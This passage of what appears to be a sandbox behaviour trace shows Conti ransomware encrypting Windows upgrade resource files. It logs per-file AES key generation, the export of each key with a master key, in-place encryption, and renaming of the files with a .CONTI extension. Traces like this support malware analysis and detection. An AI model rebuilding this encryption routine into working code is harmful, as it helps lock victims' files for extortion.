	[0149.538] SetFilePointer (in: hFile=0x39c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xda3a
	[0149.538] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x22a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0149.538] SetEndOfFile (hFile=0x39c) returned 1
	[0149.538] SetFilePointer (in: hFile=0x39c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0149.538] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0149.538] WriteFile (in: hFile=0x39c, lpBuffer=0x65da054*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x587f864, lpOverlapped=0x0 | out: lpBuffer=0x65da054*, lpNumberOfBytesWritten=0x587f864*=0x20c, lpOverlapped=0x0) returned 1
	[0149.540] SetFilePointer (in: hFile=0x39c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0149.540] ReadFile (in: hFile=0x39c, lpBuffer=0x10cf0000, nNumberOfBytesToRead=0xda3a, lpNumberOfBytesRead=0x587f884, lpOverlapped=0x0 | out: lpBuffer=0x10cf0000*, lpNumberOfBytesRead=0x587f884*=0xda3a, lpOverlapped=0x0) returned 1
	[0149.545] CryptEncrypt (in: hKey=0x17debd0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x10cf0000*, pdwDataLen=0x587f87c*=0xda3a, dwBufLen=0x500000 | out: pbData=0x10cf0000*, pdwDataLen=0x587f87c*=0xda40) returned 1
	[0149.545] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0149.545] WriteFile (in: hFile=0x39c, lpBuffer=0x10cf0000*, nNumberOfBytesToWrite=0xda40, lpNumberOfBytesWritten=0x587f898, lpOverlapped=0x0 | out: lpBuffer=0x10cf0000*, lpNumberOfBytesWritten=0x587f898*=0xda40, lpOverlapped=0x0) returned 1
	[0149.546] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0149.546] WriteFile (in: hFile=0x39c, lpBuffer=0x65da048*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x587f8b0, lpOverlapped=0x0 | out: lpBuffer=0x65da048*, lpNumberOfBytesWritten=0x587f8b0*=0x8, lpOverlapped=0x0) returned 1
	[0149.546] SetFilePointer (in: hFile=0x39c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0149.546] CloseHandle (hObject=0x39c) returned 1
	[0149.546] GetProcessHeap () returned 0x1720000
	[0149.546] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x180ce48
	[0149.546] lstrcpyW (in: lpString1=0x180ce48, lpString2="C:\\Windows10Upgrade\\resources\\ux\\default_eos.htm" | out: lpString1="C:\\Windows10Upgrade\\resources\\ux\\default_eos.htm") returned="C:\\Windows10Upgrade\\resources\\ux\\default_eos.htm"
	[0149.546] lstrcatW (in: lpString1="C:\\Windows10Upgrade\\resources\\ux\\default_eos.htm", lpString2=".CONTI" | out: lpString1="C:\\Windows10Upgrade\\resources\\ux\\default_eos.htm.CONTI") returned="C:\\Windows10Upgrade\\resources\\ux\\default_eos.htm.CONTI"
	[0149.546] MoveFileW (lpExistingFileName="C:\\Windows10Upgrade\\resources\\ux\\default_eos.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\default_eos.htm"), lpNewFileName="C:\\Windows10Upgrade\\resources\\ux\\default_eos.htm.CONTI" (normalized: "c:\\windows10upgrade\\resources\\ux\\default_eos.htm.conti")) returned 1
	[0149.546] GetProcessHeap () returned 0x1720000
	[0149.546] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x180ce48 | out: hHeap=0x1720000) returned 1
	[0149.546] CryptDestroyKey (hKey=0x17debd0) returned 1
	[0149.546] GetProcessHeap () returned 0x1720000
	[0149.547] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x65dea70 | out: hHeap=0x1720000) returned 1
	[0149.547] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x587f8d4, lpCompletionKey=0x587f8d8, lpOverlapped=0x587f8e4, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x587f8d4, lpCompletionKey=0x587f8d8, lpOverlapped=0x587f8e4) returned 1
	[0149.547] CryptGenKey (in: hProv=0x176c568, Algid=0x6610, dwFlags=0x1, phKey=0x65db4d8 | out: phKey=0x65db4d8*=0x17dea50) returned 1
	[0149.547] CryptExportKey (in: hKey=0x17dea50, hExpKey=0x175e7b0, dwBlobType=0x1, dwFlags=0x0, pbData=0x65db4dc, pdwDataLen=0x587f8ac | out: pbData=0x65db4dc*, pdwDataLen=0x587f8ac*=0x20c) returned 1
	[0149.547] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\default_oobe.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\default_oobe.htm")) returned 0x20
	[0149.548] CreateFileW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\default_oobe.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\default_oobe.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c
	[0149.548] GetLastError () returned 0x0
	[0149.548] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x587f858 | out: lpFileSize=0x587f858*=65710) returned 1
	[0149.548] SetFilePointer (in: hFile=0x39c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x100ae
	[0149.548] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x226, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0149.548] SetEndOfFile (hFile=0x39c) returned 1
	[0149.548] SetFilePointer (in: hFile=0x39c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0149.548] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0149.548] WriteFile (in: hFile=0x39c, lpBuffer=0x65db4dc*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x587f864, lpOverlapped=0x0 | out: lpBuffer=0x65db4dc*, lpNumberOfBytesWritten=0x587f864*=0x20c, lpOverlapped=0x0) returned 1
	[0149.551] SetFilePointer (in: hFile=0x39c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0149.551] ReadFile (in: hFile=0x39c, lpBuffer=0x10cf0000, nNumberOfBytesToRead=0x100ae, lpNumberOfBytesRead=0x587f884, lpOverlapped=0x0 | out: lpBuffer=0x10cf0000*, lpNumberOfBytesRead=0x587f884*=0x100ae, lpOverlapped=0x0) returned 1
	[0149.557] CryptEncrypt (in: hKey=0x17dea50, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x10cf0000*, pdwDataLen=0x587f87c*=0x100ae, dwBufLen=0x500000 | out: pbData=0x10cf0000*, pdwDataLen=0x587f87c*=0x100b0) returned 1
	[0149.557] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0149.557] WriteFile (in: hFile=0x39c, lpBuffer=0x10cf0000*, nNumberOfBytesToWrite=0x100b0, lpNumberOfBytesWritten=0x587f898, lpOverlapped=0x0 | out: lpBuffer=0x10cf0000*, lpNumberOfBytesWritten=0x587f898*=0x100b0, lpOverlapped=0x0) returned 1
	[0149.558] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0149.558] WriteFile (in: hFile=0x39c, lpBuffer=0x65db4d0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x587f8b0, lpOverlapped=0x0 | out: lpBuffer=0x65db4d0*, lpNumberOfBytesWritten=0x587f8b0*=0x8, lpOverlapped=0x0) returned 1
	[0149.558] SetFilePointer (in: hFile=0x39c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0149.558] CloseHandle (hObject=0x39c) returned 1
	[0149.558] GetProcessHeap () returned 0x1720000
	[0149.558] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x180ce48
	[0149.558] lstrcpyW (in: lpString1=0x180ce48, lpString2="C:\\Windows10Upgrade\\resources\\ux\\default_oobe.htm" | out: lpString1="C:\\Windows10Upgrade\\resources\\ux\\default_oobe.htm") returned="C:\\Windows10Upgrade\\resources\\ux\\default_oobe.htm"
	[0149.558] lstrcatW (in: lpString1="C:\\Windows10Upgrade\\resources\\ux\\default_oobe.htm", lpString2=".CONTI" | out: lpString1="C:\\Windows10Upgrade\\resources\\ux\\default_oobe.htm.CONTI") returned="C:\\Windows10Upgrade\\resources\\ux\\default_oobe.htm.CONTI"
	[0149.558] MoveFileW (lpExistingFileName="C:\\Windows10Upgrade\\resources\\ux\\default_oobe.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\default_oobe.htm"), lpNewFileName="C:\\Windows10Upgrade\\resources\\ux\\default_oobe.htm.CONTI" (normalized: "c:\\windows10upgrade\\resources\\ux\\default_oobe.htm.conti")) returned 1
	[0149.558] GetProcessHeap () returned 0x1720000
	[0149.558] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x180ce48 | out: hHeap=0x1720000) returned 1
	[0149.559] CryptDestroyKey (hKey=0x17dea50) returned 1
	[0149.559] GetProcessHeap () returned 0x1720000
	[0149.559] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x65deb50 | out: hHeap=0x1720000) returned 1
	[0149.559] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x587f8d4, lpCompletionKey=0x587f8d8, lpOverlapped=0x587f8e4, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x587f8d4, lpCompletionKey=0x587f8d8, lpOverlapped=0x587f8e4) returned 1
	[0149.559] CryptGenKey (in: hProv=0x176c568, Algid=0x6610, dwFlags=0x1, phKey=0x65d7e18 | out: phKey=0x65d7e18*=0x17de990) returned 1
	[0149.559] CryptExportKey (in: hKey=0x17de990, hExpKey=0x175e7b0, dwBlobType=0x1, dwFlags=0x0, pbData=0x65d7e1c, pdwDataLen=0x587f8ac | out: pbData=0x65d7e1c*, pdwDataLen=0x587f8ac*=0x20c) returned 1
	[0149.559] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_bg-bg.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_bg-bg.htm")) returned 0x20
	[0149.560] CreateFileW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_bg-bg.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_bg-bg.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c
	[0149.560] GetLastError () returned 0x0
	[0149.560] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x587f858 | out: lpFileSize=0x587f858*=253453) returned 1
	[0149.560] SetFilePointer (in: hFile=0x39c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x3de0d
	[0149.560] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x227, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0149.571] SetEndOfFile (hFile=0x39c) returned 1
	[0149.571] SetFilePointer (in: hFile=0x39c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0149.571] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0149.572] WriteFile (in: hFile=0x39c, lpBuffer=0x65d7e1c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x587f864, lpOverlapped=0x0 | out: lpBuffer=0x65d7e1c*, lpNumberOfBytesWritten=0x587f864*=0x20c, lpOverlapped=0x0) returned 1
	[0149.574] SetFilePointer (in: hFile=0x39c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0149.574] ReadFile (in: hFile=0x39c, lpBuffer=0x10cf0000, nNumberOfBytesToRead=0x3de0d, lpNumberOfBytesRead=0x587f884, lpOverlapped=0x0 | out: lpBuffer=0x10cf0000*, lpNumberOfBytesRead=0x587f884*=0x3de0d, lpOverlapped=0x0) returned 1
	[0149.581] CryptEncrypt (in: hKey=0x17de990, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x10cf0000*, pdwDataLen=0x587f87c*=0x3de0d, dwBufLen=0x500000 | out: pbData=0x10cf0000*, pdwDataLen=0x587f87c*=0x3de10) returned 1
	[0149.581] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0149.581] WriteFile (in: hFile=0x39c, lpBuffer=0x10cf0000*, nNumberOfBytesToWrite=0x3de10, lpNumberOfBytesWritten=0x587f898, lpOverlapped=0x0 | out: lpBuffer=0x10cf0000*, lpNumberOfBytesWritten=0x587f898*=0x3de10, lpOverlapped=0x0) returned 1
	[0151.446] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0151.447] WriteFile (in: hFile=0x39c, lpBuffer=0x65d7e10*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x587f8b0, lpOverlapped=0x0 | out: lpBuffer=0x65d7e10*, lpNumberOfBytesWritten=0x587f8b0*=0x8, lpOverlapped=0x0) returned 1
	[0151.452] SetFilePointer (in: hFile=0x39c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0151.456] CloseHandle (hObject=0x39c) returned 1
	[0151.458] GetProcessHeap () returned 0x1720000
	[0151.458] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6ba60f0
	[0151.458] lstrcpyW (in: lpString1=0x6ba60f0, lpString2="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_bg-bg.htm" | out: lpString1="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_bg-bg.htm") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_bg-bg.htm"
	[0151.458] lstrcatW (in: lpString1="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_bg-bg.htm", lpString2=".CONTI" | out: lpString1="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_bg-bg.htm.CONTI") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_bg-bg.htm.CONTI"
	[0151.459] MoveFileW (lpExistingFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_bg-bg.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_bg-bg.htm"), lpNewFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_bg-bg.htm.CONTI" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_bg-bg.htm.conti")) returned 1
	[0151.464] GetProcessHeap () returned 0x1720000
	[0151.464] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6ba60f0 | out: hHeap=0x1720000) returned 1
	[0151.464] CryptDestroyKey (hKey=0x17de990) returned 1
	[0151.464] GetProcessHeap () returned 0x1720000
	[0151.464] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c5980 | out: hHeap=0x1720000) returned 1
	[0151.466] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x587f8d4, lpCompletionKey=0x587f8d8, lpOverlapped=0x587f8e4, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x587f8d4, lpCompletionKey=0x587f8d8, lpOverlapped=0x587f8e4) returned 1
	[0151.466] CryptGenKey (in: hProv=0x176c568, Algid=0x6610, dwFlags=0x1, phKey=0x65ce9d0 | out: phKey=0x65ce9d0*=0x17deb10) returned 1
	[0151.467] CryptExportKey (in: hKey=0x17deb10, hExpKey=0x175e7b0, dwBlobType=0x1, dwFlags=0x0, pbData=0x65ce9d4, pdwDataLen=0x587f8ac | out: pbData=0x65ce9d4*, pdwDataLen=0x587f8ac*=0x20c) returned 1
	[0151.467] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_sk-sk.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_sk-sk.htm")) returned 0x20
	[0151.467] CreateFileW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_sk-sk.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_sk-sk.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a0
	[0151.468] GetLastError () returned 0x0
	[0151.468] GetFileSizeEx (in: hFile=0x4a0, lpFileSize=0x587f858 | out: lpFileSize=0x587f858*=81953) returned 1
	[0151.468] SetFilePointer (in: hFile=0x4a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x14021
	[0151.468] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x233, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0151.468] SetEndOfFile (hFile=0x4a0) returned 1
	[0151.468] SetFilePointer (in: hFile=0x4a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0151.468] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0151.468] WriteFile (in: hFile=0x4a0, lpBuffer=0x65ce9d4*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x587f864, lpOverlapped=0x0 | out: lpBuffer=0x65ce9d4*, lpNumberOfBytesWritten=0x587f864*=0x20c, lpOverlapped=0x0) returned 1
	[0151.470] SetFilePointer (in: hFile=0x4a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0151.470] ReadFile (in: hFile=0x4a0, lpBuffer=0x10cf0000, nNumberOfBytesToRead=0x14021, lpNumberOfBytesRead=0x587f884, lpOverlapped=0x0 | out: lpBuffer=0x10cf0000*, lpNumberOfBytesRead=0x587f884*=0x14021, lpOverlapped=0x0) returned 1
	[0151.471] CryptEncrypt (in: hKey=0x17deb10, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x10cf0000*, pdwDataLen=0x587f87c*=0x14021, dwBufLen=0x500000 | out: pbData=0x10cf0000*, pdwDataLen=0x587f87c*=0x14030) returned 1
	[0151.471] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0151.471] WriteFile (in: hFile=0x4a0, lpBuffer=0x10cf0000*, nNumberOfBytesToWrite=0x14030, lpNumberOfBytesWritten=0x587f898, lpOverlapped=0x0 | out: lpBuffer=0x10cf0000*, lpNumberOfBytesWritten=0x587f898*=0x14030, lpOverlapped=0x0) returned 1
	[0151.472] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0151.472] WriteFile (in: hFile=0x4a0, lpBuffer=0x65ce9c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x587f8b0, lpOverlapped=0x0 | out: lpBuffer=0x65ce9c8*, lpNumberOfBytesWritten=0x587f8b0*=0x8, lpOverlapped=0x0) returned 1
	[0151.472] SetFilePointer (in: hFile=0x4a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0151.472] CloseHandle (hObject=0x4a0) returned 1
	[0151.472] GetProcessHeap () returned 0x1720000
	[0151.472] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6ba60f0
	[0151.472] lstrcpyW (in: lpString1=0x6ba60f0, lpString2="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_sk-sk.htm" | out: lpString1="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_sk-sk.htm") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_sk-sk.htm"
	[0151.472] lstrcatW (in: lpString1="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_sk-sk.htm", lpString2=".CONTI" | out: lpString1="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_sk-sk.htm.CONTI") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_sk-sk.htm.CONTI"
	[0151.472] MoveFileW (lpExistingFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_sk-sk.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_sk-sk.htm"), lpNewFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_sk-sk.htm.CONTI" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_sk-sk.htm.conti")) returned 1
	[0151.473] GetProcessHeap () returned 0x1720000
	[0151.473] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6ba60f0 | out: hHeap=0x1720000) returned 1
	[0151.473] CryptDestroyKey (hKey=0x17deb10) returned 1
	[0151.473] GetProcessHeap () returned 0x1720000
	[0151.473] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x181b548 | out: hHeap=0x1720000) returned 1
	[0151.473] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x587f8d4, lpCompletionKey=0x587f8d8, lpOverlapped=0x587f8e4, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x587f8d4, lpCompletionKey=0x587f8d8, lpOverlapped=0x587f8e4) returned 1
	[0151.473] CryptGenKey (in: hProv=0x176c568, Algid=0x6610, dwFlags=0x1, phKey=0x65d19b8 | out: phKey=0x65d19b8*=0x17de910) returned 1
	[0151.473] CryptExportKey (in: hKey=0x17de910, hExpKey=0x175e7b0, dwBlobType=0x1, dwFlags=0x0, pbData=0x65d19bc, pdwDataLen=0x587f8ac | out: pbData=0x65d19bc*, pdwDataLen=0x587f8ac*=0x20c) returned 1
	[0151.474] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_sl-si.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_sl-si.htm")) returned 0x20
	[0151.474] CreateFileW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_sl-si.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_sl-si.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a0
	[0151.474] GetLastError () returned 0x0
	[0151.474] GetFileSizeEx (in: hFile=0x4a0, lpFileSize=0x587f858 | out: lpFileSize=0x587f858*=66159) returned 1
	[0151.474] SetFilePointer (in: hFile=0x4a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x1026f
	[0151.474] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x225, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0151.474] SetEndOfFile (hFile=0x4a0) returned 1
	[0151.474] SetFilePointer (in: hFile=0x4a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0151.474] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0151.474] WriteFile (in: hFile=0x4a0, lpBuffer=0x65d19bc*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x587f864, lpOverlapped=0x0 | out: lpBuffer=0x65d19bc*, lpNumberOfBytesWritten=0x587f864*=0x20c, lpOverlapped=0x0) returned 1
	[0151.476] SetFilePointer (in: hFile=0x4a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0151.476] ReadFile (in: hFile=0x4a0, lpBuffer=0x10cf0000, nNumberOfBytesToRead=0x1026f, lpNumberOfBytesRead=0x587f884, lpOverlapped=0x0 | out: lpBuffer=0x10cf0000*, lpNumberOfBytesRead=0x587f884*=0x1026f, lpOverlapped=0x0) returned 1
	[0151.480] CryptEncrypt (in: hKey=0x17de910, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x10cf0000*, pdwDataLen=0x587f87c*=0x1026f, dwBufLen=0x500000 | out: pbData=0x10cf0000*, pdwDataLen=0x587f87c*=0x10270) returned 1
	[0151.480] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0151.480] WriteFile (in: hFile=0x4a0, lpBuffer=0x10cf0000*, nNumberOfBytesToWrite=0x10270, lpNumberOfBytesWritten=0x587f898, lpOverlapped=0x0 | out: lpBuffer=0x10cf0000*, lpNumberOfBytesWritten=0x587f898*=0x10270, lpOverlapped=0x0) returned 1
	[0151.480] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0151.480] WriteFile (in: hFile=0x4a0, lpBuffer=0x65d19b0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x587f8b0, lpOverlapped=0x0 | out: lpBuffer=0x65d19b0*, lpNumberOfBytesWritten=0x587f8b0*=0x8, lpOverlapped=0x0) returned 1
	[0151.480] SetFilePointer (in: hFile=0x4a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0151.480] CloseHandle (hObject=0x4a0) returned 1
	[0151.480] GetProcessHeap () returned 0x1720000
	[0151.480] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6ba60f0
	[0151.481] lstrcpyW (in: lpString1=0x6ba60f0, lpString2="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_sl-si.htm" | out: lpString1="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_sl-si.htm") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_sl-si.htm"
	[0151.481] lstrcatW (in: lpString1="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_sl-si.htm", lpString2=".CONTI" | out: lpString1="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_sl-si.htm.CONTI") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_sl-si.htm.CONTI"
	[0151.481] MoveFileW (lpExistingFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_sl-si.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_sl-si.htm"), lpNewFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_sl-si.htm.CONTI" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_sl-si.htm.conti")) returned 1
	[0151.484] GetProcessHeap () returned 0x1720000
